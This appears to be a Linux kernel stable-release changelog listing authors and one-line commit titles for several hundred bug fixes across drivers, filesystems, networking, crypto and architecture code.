Liu Shixin <liushixin2(a)huawei.com>
hfs: fix missing hfs_bnode_get() in __hfs_bnode_create
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
ARM: dts: exynos: correct HDMI phy compatible in Exynos4
Volker Lendecke <vl(a)samba.org>
cifs: Fix uninitialized memory read in smb3_qfs_tcon()
Vasily Gorbik <gor(a)linux.ibm.com>
s390/kprobes: fix current_kprobe never cleared after kprobes reenter
Vasily Gorbik <gor(a)linux.ibm.com>
s390/kprobes: fix irq mask clobbering on kprobe reenter from post_handler
Ilya Leoshkevich <iii(a)linux.ibm.com>
s390: discard .interp section
Gerald Schaefer <gerald.schaefer(a)linux.ibm.com>
s390/extmem: return correct segment type in __segment_load()
Corey Minyard <cminyard(a)mvista.com>
ipmi_ssif: Rename idle state and check
Johan Hovold <johan+linaro(a)kernel.org>
rtc: pm8xxx: fix set-alarm race
Alper Nebi Yasak <alpernebiyasak(a)gmail.com>
firmware: coreboot: framebuffer: Ignore reserved pixel color bits
Jun ASAKA <JunASAKA(a)zzy040330.moe>
wifi: rtl8xxxu: fixing transmisison failure for rtl8192eu
Jeff Layton <jlayton(a)kernel.org>
nfsd: zero out pointers after putting nfsd_files on COPY setup error
Mike Snitzer <snitzer(a)kernel.org>
dm cache: add cond_resched() to various workqueue loops
Mike Snitzer <snitzer(a)kernel.org>
dm thin: add cond_resched() to various workqueue loops
Darrell Kavanagh <darrell.kavanagh(a)gmail.com>
drm: panel-orientation-quirks: Add quirk for Lenovo IdeaPad Duet 3 10IGL5
Bastien Nocera <hadess(a)hadess.net>
HID: logitech-hidpp: Don't restart communication if not necessary
Claudiu Beznea <claudiu.beznea(a)microchip.com>
pinctrl: at91: use devm_kasprintf() to avoid potential leaks
Robin Murphy <robin.murphy(a)arm.com>
hwmon: (coretemp) Simplify platform device handling
Andreas Gruenbacher <agruenba(a)redhat.com>
gfs2: Improve gfs2_make_fs_rw error handling
Kees Cook <keescook(a)chromium.org>
regulator: s5m8767: Bounds check id indexing into arrays
Kees Cook <keescook(a)chromium.org>
regulator: max77802: Bounds check regulator id against opmode
Kees Cook <keescook(a)chromium.org>
ASoC: kirkwood: Iterate over array indexes instead of using pointer math
Jakob Koschel <jkl820.git(a)gmail.com>
docs/scripts/gdb: add necessary make scripts_gdb step
Jiasheng Jiang <jiasheng(a)iscas.ac.cn>
drm/msm/dsi: Add missing check for alloc_ordered_workqueue
Konstantin Meskhidze <konstantin.meskhidze(a)huawei.com>
drm: amd: display: Fix memory leakage
Liwei Song <liwei.song(a)windriver.com>
drm/radeon: free iio for atombios when driver shutdown
Carlo Caione <ccaione(a)baylibre.com>
drm/tiny: ili9486: Do not assume 8-bit only SPI controllers
Jingyuan Liang <jingyliang(a)chromium.org>
HID: Add Mapping for System Microphone Mute
Tomi Valkeinen <tomi.valkeinen(a)ideasonboard.com>
drm/omap: dsi: Fix excessive stack usage
Roman Li <roman.li(a)amd.com>
drm/amd/display: Fix potential null-deref in dm_resume
Moises Cardona <moisesmcardona(a)gmail.com>
Bluetooth: btusb: Add VID:PID 13d3:3529 for Realtek RTL8821CE
Greg Kroah-Hartman <gregkh(a)linuxfoundation.org>
PM: EM: fix memory leak with using debugfs_lookup()
Kees Cook <keescook(a)chromium.org>
uaccess: Add minimum bounds check on kernel buffer size
Kees Cook <keescook(a)chromium.org>
coda: Avoid partial allocation of sig_inputArgs
Shay Drory <shayd(a)nvidia.com>
net/mlx5: fw_tracer: Fix debug print
Hans de Goede <hdegoede(a)redhat.com>
ACPI: video: Fix Lenovo Ideapad Z570 DMI match
Lorenzo Bianconi <lorenzo(a)kernel.org>
wifi: mt76: dma: free rx_head in mt76_dma_rx_cleanup
Michael Schmitz <schmitzmic(a)gmail.com>
m68k: Check syscall_trace_enter() return code
Florian Fainelli <f.fainelli(a)gmail.com>
net: bcmgenet: Add a check for oversized packets
Kees Cook <keescook(a)chromium.org>
crypto: hisilicon: Wipe entire pool on error
Feng Tang <feng.tang(a)intel.com>
clocksource: Suspend the watchdog temporarily when high read latency detected
Mark Rutland <mark.rutland(a)arm.com>
ACPI: Don't build ACPICA with '-Os'
Jesse Brandeburg <jesse.brandeburg(a)intel.com>
ice: add missing checks for PF vsi type
Pietro Borrello <borrello(a)diag.uniroma1.it>
inet: fix fast path in __inet_hash_connect()
Jisoo Jang <jisoo.jang(a)yonsei.ac.kr>
wifi: mt7601u: fix an integer underflow
Jisoo Jang <jisoo.jang(a)yonsei.ac.kr>
wifi: brcmfmac: ensure CLM version is null-terminated to prevent stack-out-of-bounds
Breno Leitao <leitao(a)debian.org>
x86/bugs: Reset speculation control settings on init
Jann Horn <jannh(a)google.com>
timers: Prevent union confusion from unexpected restart_syscall()
Yang Li <yang.lee(a)linux.alibaba.com>
thermal: intel: Fix unsigned comparison with less than zero
Kalle Valo <quic_kvalo(a)quicinc.com>
wifi: ath11k: debugfs: fix to work with multiple PCI devices
Zqiang <qiang1.zhang(a)intel.com>
rcu-tasks: Make rude RCU-Tasks work well with CPU hotplug
Paul E. McKenney <paulmck(a)kernel.org>
rcu: Suppress smp_processor_id() complaint in synchronize_rcu_expedited_wait()
Paul E. McKenney <paulmck(a)kernel.org>
rcu: Make RCU_LOCKDEP_WARN() avoid early lockdep checks
Jisoo Jang <jisoo.jang(a)yonsei.ac.kr>
wifi: brcmfmac: Fix potential stack-out-of-bounds in brcmf_c_preinit_dcmds()
Minsuk Kang <linuxlovemin(a)yonsei.ac.kr>
wifi: ath9k: Fix use-after-free in ath9k_hif_usb_disconnect()
Li Nan <linan122(a)huawei.com>
blk-iocost: fix divide by 0 error in calc_lcoefs()
Markuss Broks <markuss.broks(a)gmail.com>
ARM: dts: exynos: Use Exynos5420 compatible for the MIPI video phy
Jan Kara <jack(a)suse.cz>
udf: Define EFSCORRUPTED error code
Bjorn Andersson <quic_bjorande(a)quicinc.com>
rpmsg: glink: Avoid infinite loop on intent for missing channel
Tasos Sahanidis <tasos(a)tasossah.com>
media: saa7134: Use video_unregister_device for radio_dev
Duoming Zhou <duoming(a)zju.edu.cn>
media: usb: siano: Fix use after free bugs caused by do_submit_urb
Hans Verkuil <hverkuil-cisco(a)xs4all.nl>
media: i2c: ov7670: 0 instead of -EINVAL was returned
Duoming Zhou <duoming(a)zju.edu.cn>
media: rc: Fix use-after-free bugs caused by ene_tx_irqsim()
Jai Luthra <j-luthra(a)ti.com>
media: i2c: imx219: Fix binning for RAW8 capture
Adam Ford <aford173(a)gmail.com>
media: i2c: imx219: Split common registers from mode tables
Sameer Puri <purisame(a)spuri.io>
media: i2c: imx219: remove redundant writes
Yuan Can <yuancan(a)huawei.com>
media: i2c: ov772x: Fix memleak in ov772x_probe()
Shang XiaoJing <shangxiaojing(a)huawei.com>
media: ov5675: Fix memleak in ov5675_init_controls()
Shang XiaoJing <shangxiaojing(a)huawei.com>
media: ov2740: Fix memleak in ov2740_init_controls()
Shang XiaoJing <shangxiaojing(a)huawei.com>
media: max9286: Fix memleak in max9286_v4l2_register()
Bastian Germann <bage(a)linutronix.de>
builddeb: clean generated package content
Nathan Chancellor <nathan(a)kernel.org>
powerpc: Remove linker flag from KBUILD_AFLAGS
Jiasheng Jiang <jiasheng(a)iscas.ac.cn>
media: platform: ti: Add missing check for devm_regulator_get
Gaosheng Cui <cuigaosheng1(a)huawei.com>
media: ti: cal: fix possible memory leak in cal_ctx_create()
Sibi Sankar <quic_sibis(a)quicinc.com>
remoteproc: qcom_q6v5_mss: Use a carveout to authenticate modem headers
Jeff LaBundy <jeff(a)labundy.com>
Input: iqs269a - do not poll during ATI
Jeff LaBundy <jeff(a)labundy.com>
Input: iqs269a - do not poll during suspend or resume
Al Viro <viro(a)zeniv.linux.org.uk>
alpha/boot/tools/objstrip: fix the check for ELF header
Eli Cohen <elic(a)nvidia.com>
vdpa/mlx5: Don't clear mr struct on destroy MR
Randy Dunlap <rdunlap(a)infradead.org>
MIPS: vpe-mt: drop physical_memsize
Randy Dunlap <rdunlap(a)infradead.org>
MIPS: SMP-CPS: fix build error when HOTPLUG_CPU not set
Ganesh Goudar <ganeshgr(a)linux.ibm.com>
powerpc/eeh: Set channel state after notifying the drivers
Daniel Axtens <dja(a)axtens.net>
powerpc/eeh: Small refactor of eeh_handle_normal_event()
Nathan Lynch <nathanl(a)linux.ibm.com>
powerpc/rtas: ensure 4KB alignment for rtas_data_buf
Nathan Lynch <nathanl(a)linux.ibm.com>
powerpc/rtas: make all exports GPL
Nathan Lynch <nathanl(a)linux.ibm.com>
powerpc/pseries/lparcfg: add missing RTAS retry status handling
Nathan Lynch <nathanl(a)linux.ibm.com>
powerpc/pseries/lpar: add missing RTAS retry status handling
Nathan Lynch <nathanl(a)linux.ibm.com>
powerpc/perf/hv-24x7: add missing RTAS retry status handling
Chen-Yu Tsai <wenst(a)chromium.org>
clk: Honor CLK_OPS_PARENT_ENABLE in clk_core_is_enabled()
Frederic Barrat <fbarrat(a)linux.ibm.com>
powerpc/powernv/ioda: Skip unallocated resources when mapping to PE
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
clk: qcom: gpucc-sdm845: fix clk_dis_wait being programmed for CX GDSC
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
clk: qcom: gpucc-sc7180: fix clk_dis_wait being programmed for CX GDSC
Luca Ellero <l.ellero(a)asem.it>
Input: ads7846 - don't check penirq immediately for 7845
Luca Ellero <l.ellero(a)asem.it>
Input: ads7846 - always set last command to PWRDOWN
Oleksij Rempel <linux(a)rempel-privat.de>
Input: ads7846 - convert to one message
Oleksij Rempel <linux(a)rempel-privat.de>
Input: ads7846 - convert to full duplex
Luca Ellero <l.ellero(a)asem.it>
Input: ads7846 - don't report pressure for ads7845
Peng Fan <peng.fan(a)nxp.com>
clk: imx: avoid memory leak
Geert Uytterhoeven <geert+renesas(a)glider.be>
clk: renesas: cpg-mssr: Remove superfluous check in resume code
Alexey Khoroshilov <khoroshilov(a)ispras.ru>
clk: renesas: cpg-mssr: Fix use after free if cpg_mssr_common_init() failed
Masahiro Yamada <masahiroy(a)kernel.org>
linux/kconfig.h: replace IF_ENABLED() with PTR_IF() in <linux/kernel.h>
Jeff LaBundy <jeff(a)labundy.com>
Input: iqs269a - configure device with a single block write
Jeff LaBundy <jeff(a)labundy.com>
Input: iqs269a - increase interrupt handler return delay
Jeff LaBundy <jeff(a)labundy.com>
Input: iqs269a - drop unused device node references
Samuel Holland <samuel(a)sholland.org>
mtd: rawnand: sunxi: Fix the size of the last OOB region
Heiko Stuebner <heiko.stuebner(a)vrull.eu>
RISC-V: fix funct4 definition for c.jalr in parse_asm.h
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
clk: qcom: gcc-qcs404: fix names of the DSI clocks used as parents
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
clk: qcom: gcc-qcs404: disable gpll[04]_out_aux parents
Qiheng Lin <linqiheng(a)huawei.com>
mfd: pcf50633-adc: Fix potential memleak in pcf50633_adc_async_read()
Arnd Bergmann <arnd(a)arndb.de>
objtool: add UACCESS exceptions for __tsan_volatile_read/write
Arnd Bergmann <arnd(a)arndb.de>
printf: fix errname.c list
Masami Hiramatsu (Google) <mhiramat(a)kernel.org>
selftests/ftrace: Fix bash specific "==" operator
Randy Dunlap <rdunlap(a)infradead.org>
sparc: allow PM configs for sparc32 COMPILE_TEST
Yicong Yang <yangyicong(a)hisilicon.com>
perf tools: Fix auto-complete on aarch64
Miaoqian Lin <linmq006(a)gmail.com>
leds: led-core: Fix refcount leak in of_led_get()
Ian Rogers <irogers(a)google.com>
perf llvm: Fix inadvertent file creation
Andreas Gruenbacher <agruenba(a)redhat.com>
gfs2: jdata writepage fix
Zhang Xiaoxu <zhangxiaoxu5(a)huawei.com>
cifs: Fix warning and UAF when destroy the MR list
Zhang Xiaoxu <zhangxiaoxu5(a)huawei.com>
cifs: Fix lost destroy smbd connection when MR allocate failed
Benjamin Coddington <bcodding(a)redhat.com>
nfsd: fix race to check ls_layouts
Pietro Borrello <borrello(a)diag.uniroma1.it>
hid: bigben_probe(): validate report count
Pietro Borrello <borrello(a)diag.uniroma1.it>
HID: bigben: use spinlock to safely schedule workers
Pietro Borrello <borrello(a)diag.uniroma1.it>
HID: bigben_worker() remove unneeded check on report_field
Pietro Borrello <borrello(a)diag.uniroma1.it>
HID: bigben: use spinlock to protect concurrent accesses
Lucas Tanure <lucas.tanure(a)collabora.com>
ASoC: soc-dapm.h: fixup warning struct snd_pcm_substream not declared
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
spi: synquacer: Fix timeout handling in synquacer_spi_transfer_one()
NeilBrown <neilb(a)suse.de>
NFS: fix disabling of swap
Benjamin Coddington <bcodding(a)redhat.com>
nfs4trace: fix state manager flag printing
NeilBrown <neilb(a)suse.de>
NFSv4: keep state manager thread active if swap is enabled
Trond Myklebust <trond.myklebust(a)hammerspace.com>
NFS: Fix up handling of outstanding layoutcommit in nfs_update_inode()
Mike Snitzer <snitzer(a)kernel.org>
dm: remove flush_scheduled_work() during local_exit()
Steffen Aschbacher <steffen.aschbacher(a)stihl.de>
ASoC: tlv320adcx140: fix 'ti,gpio-config' DT property init
Vadim Pasternak <vadimp(a)nvidia.com>
hwmon: (mlxreg-fan) Return zero speed for broken fan
William Zhang <william.zhang(a)broadcom.com>
spi: bcm63xx-hsspi: Fix multi-bit mode setting
Álvaro Fernández Rojas <noltari(a)gmail.com>
spi: bcm63xx-hsspi: fix pm_runtime
Jiasheng Jiang <jiasheng(a)iscas.ac.cn>
scsi: aic94xx: Add missing check for dma_map_single()
Tomas Henzl <thenzl(a)redhat.com>
scsi: mpt3sas: Fix a memory leak
Arnd Bergmann <arnd(a)arndb.de>
drm/amdgpu: fix enum odm_combine_mode mismatch
Jonathan Cormier <jcormier(a)criticallink.com>
hwmon: (ltc2945) Handle error case in ltc2945_value_store
Jerome Brunet <jbrunet(a)baylibre.com>
ASoC: dt-bindings: meson: fix gx-card codec node regex
Nathan Chancellor <nathan(a)kernel.org>
ASoC: mchp-spdifrx: Fix uninitialized use of mr in mchp_spdifrx_hw_params()
Claudiu Beznea <claudiu.beznea(a)microchip.com>
ASoC: mchp-spdifrx: disable all interrupts in mchp_spdifrx_dai_remove()
Claudiu Beznea <claudiu.beznea(a)microchip.com>
ASoC: mchp-spdifrx: fix controls that works with completion mechanism
Claudiu Beznea <claudiu.beznea(a)microchip.com>
ASoC: mchp-spdifrx: fix return value in case completion times out
Gu Shengxian <gushengxian(a)yulong.com>
ASoC: atmel: fix spelling mistakes
Claudiu Beznea <claudiu.beznea(a)microchip.com>
ASoC: mchp-spdifrx: fix controls which rely on rsr register
Arnd Bergmann <arnd(a)arndb.de>
spi: dw_bt1: fix MUX_MMIO dependencies
Haibo Chen <haibo.chen(a)nxp.com>
gpio: vf610: connect GPIO label to dev name
Kuninori Morimoto <kuninori.morimoto.gx(a)renesas.com>
ASoC: soc-compress.c: fixup private_data on snd_soc_new_compress()
Nícolas F. R. A. Prado <nfraprado(a)collabora.com>
drm/mediatek: Clean dangling pointer on bind error path
ruanjinjie <ruanjinjie(a)huawei.com>
drm/mediatek: mtk_drm_crtc: Add checks for devm_kcalloc
Rob Clark <robdclark(a)chromium.org>
drm/mediatek: Drop unbalanced obj unref
Miles Chen <miles.chen(a)mediatek.com>
drm/mediatek: Use NULL instead of 0 for NULL pointer
Xinlei Lee <xinlei.lee(a)mediatek.com>
drm/mediatek: dsi: Reduce the time of dsi from LP11 to sending cmd
Mikko Perttunen <mperttunen(a)nvidia.com>
gpu: host1x: Don't skip assigning syncpoints to channels
Guodong Liu <Guodong.Liu(a)mediatek.com>
pinctrl: mediatek: Initialize variable *buf to zero
Guodong Liu <Guodong.Liu(a)mediatek.com>
pinctrl: mediatek: Initialize variable pullen and pullup to zero
Andy Shevchenko <andriy.shevchenko(a)linux.intel.com>
pinctrl: bcm2835: Remove of_node_put() in bcm2835_of_gpio_ranges_fallback()
Jiasheng Jiang <jiasheng(a)iscas.ac.cn>
drm/msm/mdp5: Add check for kzalloc
Jiasheng Jiang <jiasheng(a)iscas.ac.cn>
drm/msm/dpu: Add check for pstates
Jiasheng Jiang <jiasheng(a)iscas.ac.cn>
drm/msm/dpu: Add check for cstate
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
drm/msm: use strscpy instead of strncpy
Daniel Mentz <danielmentz(a)google.com>
drm/mipi-dsi: Fix byte order of 16-bit DCS set/get brightness
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
drm/bridge: lt9611: pass a pointer to the of node
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
drm/bridge: lt9611: fix clock calculation
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
drm/bridge: lt9611: fix programming of video modes
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
drm/bridge: lt9611: fix polarity programming
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
drm/bridge: lt9611: fix HPD reenablement
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
drm/bridge: lt9611: fix sleep mode setup
Marijn Suijten <marijn.suijten(a)somainline.org>
drm/msm/dpu: Disallow unallocated resources to be returned
Alexey V. Vissarionov <gremlin(a)altlinux.org>
ALSA: hda/ca0132: minor fix for allocation size
Akhil P Oommen <quic_akhilpo(a)quicinc.com>
drm/msm/adreno: Fix null ptr access in adreno_gpu_cleanup()
Shengjiu Wang <shengjiu.wang(a)nxp.com>
ASoC: fsl_sai: initialize is_dsp_mode flag
Dave Stevenson <dave.stevenson(a)raspberrypi.com>
drm/vc4: hdmi: Correct interlaced timings again
Dave Stevenson <dave.stevenson(a)raspberrypi.com>
drm/vc4: hvs: Fix colour order for xRGB1555 on HVS5
Dave Stevenson <dave.stevenson(a)raspberrypi.com>
drm/vc4: hvs: Set AXI panic modes
Miaoqian Lin <linmq006(a)gmail.com>
pinctrl: rockchip: Fix refcount leak in rockchip_pinctrl_parse_groups
Jianqun Xu <jay.xu(a)rock-chips.com>
pinctrl: rockchip: do coding style for mux route struct
Jianqun Xu <jay.xu(a)rock-chips.com>
pinctrl: rockchip: add support for rk3568
Miaoqian Lin <linmq006(a)gmail.com>
pinctrl: stm32: Fix refcount leak in stm32_pctrl_get_irq_domain
Adam Skladowski <a39.skl(a)gmail.com>
pinctrl: qcom: pinctrl-msm8976: Correct function names for wcss pins
Jiasheng Jiang <jiasheng(a)iscas.ac.cn>
drm/msm/hdmi: Add missing check for alloc_ordered_workqueue
Liang He <windhl(a)126.com>
gpu: ipu-v3: common: Add of_node_put() for reference returned by of_graph_get_port_by_id()
Randolph Sapp <rs(a)ti.com>
drm: tidss: Fix pixel format definition
Dave Stevenson <dave.stevenson(a)raspberrypi.com>
drm/vc4: dpi: Fix format mapping for RGB565
Dave Stevenson <dave.stevenson(a)raspberrypi.com>
drm/vc4: dpi: Add option for inverting pixel clock and output enable
Yuan Can <yuancan(a)huawei.com>
drm/vkms: Fix null-ptr-deref in vkms_release()
Yuan Can <yuancan(a)huawei.com>
drm/bridge: megachips: Fix error handling in i2c_register_driver()
Geert Uytterhoeven <geert+renesas(a)glider.be>
drm: mxsfb: DRM_MXSFB should depend on ARCH_MXS || ARCH_MXC
Geert Uytterhoeven <geert(a)linux-m68k.org>
drm/fourcc: Add missing big-endian XRGB1555 and RGB565 formats
Shang XiaoJing <shangxiaojing(a)huawei.com>
drm: Fix potential null-ptr-deref due to drmm_mode_config_init()
Jiri Pirko <jiri(a)nvidia.com>
sefltests: netdevsim: wait for devlink instance after netns removal
Roxana Nicolescu <roxana.nicolescu(a)canonical.com>
selftest: fib_tests: Always cleanup before exit
Doug Berger <opendmb(a)gmail.com>
net: bcmgenet: fix MoCA LED control
Shigeru Yoshida <syoshida(a)redhat.com>
l2tp: Avoid possible recursive deadlock in l2tp_tunnel_register()
Jakub Sitnicki <jakub(a)cloudflare.com>
selftests/net: Interpret UDP_GRO cmsg data as an int value
Florian Fainelli <f.fainelli(a)gmail.com>
irqchip/irq-bcm7120-l2: Set IRQ_LEVEL for level triggered interrupts
Florian Fainelli <f.fainelli(a)gmail.com>
irqchip/irq-brcmstb-l2: Set IRQ_LEVEL for level triggered interrupts
Andrii Nakryiko <andrii(a)kernel.org>
bpf: Fix global subprog context argument resolution logic
Frank Jungclaus <frank.jungclaus(a)esd.eu>
can: esd_usb: Move mislocated storage of SJA1000_ECC_SEG bits in case of a bus error
Yongqin Liu <yongqin.liu(a)linaro.org>
thermal/drivers/hisi: Drop second sensor hi3660
Shayne Chen <shayne.chen(a)mediatek.com>
wifi: mac80211: make rate u32 in sta_set_rate_info_rx()
Herbert Xu <herbert(a)gondor.apana.org.au>
crypto: crypto4xx - Call dma_unmap_page when done
Ilya Leoshkevich <iii(a)linux.ibm.com>
selftests/bpf: Fix out-of-srctree build
Dan Carpenter <error27(a)gmail.com>
wifi: mwifiex: fix loop iterator in mwifiex_update_ampdu_txwinsize()
Jiasheng Jiang <jiasheng(a)iscas.ac.cn>
wifi: iwl4965: Add missing check for create_singlethread_workqueue()
Jiasheng Jiang <jiasheng(a)iscas.ac.cn>
wifi: iwl3945: Add missing check for create_singlethread_workqueue
Conor Dooley <conor.dooley(a)microchip.com>
RISC-V: time: initialize hrtimer based broadcast clock event device
Randy Dunlap <rdunlap(a)infradead.org>
m68k: /proc/hardware should depend on PROC_FS
Herbert Xu <herbert(a)gondor.apana.org.au>
crypto: rsa-pkcs1pad - Use akcipher_request_complete
Pietro Borrello <borrello(a)diag.uniroma1.it>
rds: rds_rm_zerocopy_callback() correct order for list_add_tail()
Ilya Leoshkevich <iii(a)linux.ibm.com>
libbpf: Fix alen calculation in libbpf_nla_dump_errormsg()
Luiz Augusto von Dentz <luiz.von.dentz(a)intel.com>
Bluetooth: L2CAP: Fix potential user-after-free
Qi Zheng <zhengqi.arch(a)bytedance.com>
OPP: fix error checking in opp_migrate_dentry()
Pietro Borrello <borrello(a)diag.uniroma1.it>
tap: tap_open(): correctly initialize socket uid
Pietro Borrello <borrello(a)diag.uniroma1.it>
tun: tun_chr_open(): correctly initialize socket uid
Pietro Borrello <borrello(a)diag.uniroma1.it>
net: add sock_init_data_uid()
Vasily Gorbik <gor(a)linux.ibm.com>
s390/vmem: fix empty page tables cleanup under KASAN
Miaoqian Lin <linmq006(a)gmail.com>
irqchip/ti-sci: Fix refcount leak in ti_sci_intr_irq_domain_probe
Miaoqian Lin <linmq006(a)gmail.com>
irqchip/irq-mvebu-gicp: Fix refcount leak in mvebu_gicp_probe
Miaoqian Lin <linmq006(a)gmail.com>
irqchip/alpine-msi: Fix refcount leak in alpine_msix_init_domains
Miaoqian Lin <linmq006(a)gmail.com>
irqchip: Fix refcount leak in platform_irqchip_probe
Jack Morgenstein <jackm(a)nvidia.com>
net/mlx5: Enhance debug print in page allocation failure
Tonghao Zhang <tong(a)infragraf.org>
bpftool: profile online CPUs instead of possible
Tom Lendacky <thomas.lendacky(a)amd.com>
crypto: ccp - Flush the SEV-ES TMR memory before giving it to firmware
Peter Gonda <pgonda(a)google.com>
crypto: ccp - Refactor out sev_fw_alloc()
Hans de Goede <hdegoede(a)redhat.com>
leds: led-class: Add missing put_device() to led_put()
Herbert Xu <herbert(a)gondor.apana.org.au>
crypto: xts - Handle EBUSY correctly
Wang Qing <wangqing(a)vivo.com>
net: ethernet: ti: add missing of_node_put before return
Grygorii Strashko <grygorii.strashko(a)ti.com>
net: ethernet: ti: am65-cpsw: handle deferred probe with dev_err_probe()
Grygorii Strashko <grygorii.strashko(a)ti.com>
net: ethernet: ti: am65-cpsw: fix tx csum offload for multi mac mode
Ashok Raj <ashok.raj(a)intel.com>
x86/microcode: Adjust late loading result reporting message
Ashok Raj <ashok.raj(a)intel.com>
x86/microcode: Check CPU capabilities after late microcode update correctly
Ashok Raj <ashok.raj(a)intel.com>
x86/microcode: Add a parameter to microcode_check() to store CPU capabilities
Ashok Raj <ashok.raj(a)intel.com>
x86/microcode: Print previous version of microcode after reload
Borislav Petkov <bp(a)suse.de>
x86/microcode: Default-disable late loading
Borislav Petkov <bp(a)suse.de>
x86/microcode: Rip out the OLD_INTERFACE
Peter Zijlstra <peterz(a)infradead.org>
x86: Mark stop_this_cpu() __noreturn
Sebastian Andrzej Siewior <bigeasy(a)linutronix.de>
x86/microcode: Replace deprecated CPU-hotplug functions.
Borislav Petkov <bp(a)suse.de>
x86/cpu: Init AP exception handling from cpu_init_secondary()
Yang Yingliang <yangyingliang(a)huawei.com>
powercap: fix possible name leak in powercap_register_zone()
Herbert Xu <herbert(a)gondor.apana.org.au>
crypto: seqiv - Handle EBUSY correctly
Herbert Xu <herbert(a)gondor.apana.org.au>
crypto: essiv - Handle EBUSY correctly
Koba Ko <koba.taiwan(a)gmail.com>
crypto: ccp - Failure on re-initialization due to duplicate sysfs filename
Armin Wolf <W_Armin(a)gmx.de>
ACPI: battery: Fix missing NUL-termination with large strings
Shivani Baranwal <quic_shivbara(a)quicinc.com>
wifi: cfg80211: Fix extended KCK key length check in nl80211_set_rekey_data()
Miaoqian Lin <linmq006(a)gmail.com>
wifi: ath11k: Fix memory leak in ath11k_peer_rx_frag_setup
Minsuk Kang <linuxlovemin(a)yonsei.ac.kr>
wifi: ath9k: Fix potential stack-out-of-bounds write in ath9k_wmi_rsp_callback()
Fedor Pchelkin <pchelkin(a)ispras.ru>
wifi: ath9k: hif_usb: clean up skbs if ath9k_hif_usb_rx_stream() fails
Pavel Skripkin <paskripkin(a)gmail.com>
ath9k: htc: clean up statistics macros
Wan Jiabing <wanjiabing(a)vivo.com>
ath9k: hif_usb: simplify if-if to if-else
Fedor Pchelkin <pchelkin(a)ispras.ru>
wifi: ath9k: htc_hst: free skb in ath9k_htc_rx_msg() if there is no callback function
Alexey Kodanev <aleksei.kodanev(a)bell-sw.com>
wifi: orinoco: check return value of hermes_write_wordrec()
Bitterblue Smith <rtl8821cerfe2(a)gmail.com>
wifi: rtl8xxxu: Fix memory leaks with RTL8723BU, RTL8192EU
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
thermal/drivers/tsens: Sort out msm8976 vs msm8956 data
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
thermal/drivers/tsens: Add compat string for the qcom,msm8960
Konrad Dybcio <konrad.dybcio(a)somainline.org>
thermal/drivers/qcom/tsens_v1: Enable sensor 3 on MSM8976
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
thermal/drivers/tsens: Drop msm8976-specific defines
Daniil Tatianin <d-tatianin(a)yandex-team.ru>
ACPICA: nsrepair: handle cases without a return value correctly
David Rientjes <rientjes(a)google.com>
crypto: ccp - Avoid page allocation failure warning for SEV_GET_ID2
John Allen <john.allen(a)amd.com>
crypto: ccp - Use kzalloc for sev ioctl interfaces to prevent kernel memory leak
Sean Christopherson <seanjc(a)google.com>
crypto: ccp: Use the stack and common buffer for status commands
Sean Christopherson <seanjc(a)google.com>
crypto: ccp: Use the stack for small SEV command buffers
Herbert Xu <herbert(a)gondor.apana.org.au>
lib/mpi: Fix buffer overrun when SG is too long
Frederic Weisbecker <frederic(a)kernel.org>
rcu-tasks: Fix synchronize_rcu_tasks() VS zap_pid_ns_processes()
Frederic Weisbecker <frederic(a)kernel.org>
rcu-tasks: Remove preemption disablement around srcu_read_[un]lock() calls
Frederic Weisbecker <frederic(a)kernel.org>
rcu-tasks: Improve comments explaining tasks_rcu_exit_srcu purpose
Zhen Lei <thunder.leizhen(a)huawei.com>
genirq: Fix the return type of kstat_cpu_irqs_sum()
Mario Limonciello <mario.limonciello(a)amd.com>
ACPICA: Drop port I/O validation for some regions
Eric Biggers <ebiggers(a)google.com>
crypto: x86/ghash - fix unaligned access in ghash_setkey()
Yang Yingliang <yangyingliang(a)huawei.com>
wifi: wl3501_cs: don't call kfree_skb() under spin_lock_irqsave()
Yang Yingliang <yangyingliang(a)huawei.com>
wifi: libertas: cmdresp: don't call kfree_skb() under spin_lock_irqsave()
Yang Yingliang <yangyingliang(a)huawei.com>
wifi: libertas: main: don't call kfree_skb() under spin_lock_irqsave()
Yang Yingliang <yangyingliang(a)huawei.com>
wifi: libertas: if_usb: don't call kfree_skb() under spin_lock_irqsave()
Yang Yingliang <yangyingliang(a)huawei.com>
wifi: libertas_tf: don't call kfree_skb() under spin_lock_irqsave()
Zhengchao Shao <shaozhengchao(a)huawei.com>
wifi: brcmfmac: unmap dma buffer in brcmf_msgbuf_alloc_pktid()
Zhang Changzhong <zhangchangzhong(a)huawei.com>
wifi: brcmfmac: fix potential memory leak in brcmf_netdev_start_xmit()
Zhang Changzhong <zhangchangzhong(a)huawei.com>
wifi: wilc1000: fix potential memory leak in wilc_mac_xmit()
Zhengchao Shao <shaozhengchao(a)huawei.com>
wifi: ipw2200: fix memory leak in ipw_wdev_init()
Yang Yingliang <yangyingliang(a)huawei.com>
wifi: ipw2x00: don't call dev_kfree_skb() under spin_lock_irqsave()
Andrii Nakryiko <andrii(a)kernel.org>
libbpf: Fix btf__align_of() by taking into account field offsets
Li Zetao <lizetao1(a)huawei.com>
wifi: rtlwifi: Fix global-out-of-bounds bug in _rtl8812ae_phy_set_txpower_limit()
Arnd Bergmann <arnd(a)arndb.de>
rtlwifi: fix -Wpointer-sign warning
Yang Yingliang <yangyingliang(a)huawei.com>
wifi: rtl8xxxu: don't call dev_kfree_skb() under spin_lock_irqsave()
Zhengchao Shao <shaozhengchao(a)huawei.com>
wifi: libertas: fix memory leak in lbs_init_adapter()
Yang Yingliang <yangyingliang(a)huawei.com>
wifi: iwlegacy: common: don't call dev_kfree_skb() under spin_lock_irqsave()
Yang Yingliang <yangyingliang(a)huawei.com>
wifi: rtlwifi: rtl8723be: don't call kfree_skb() under spin_lock_irqsave()
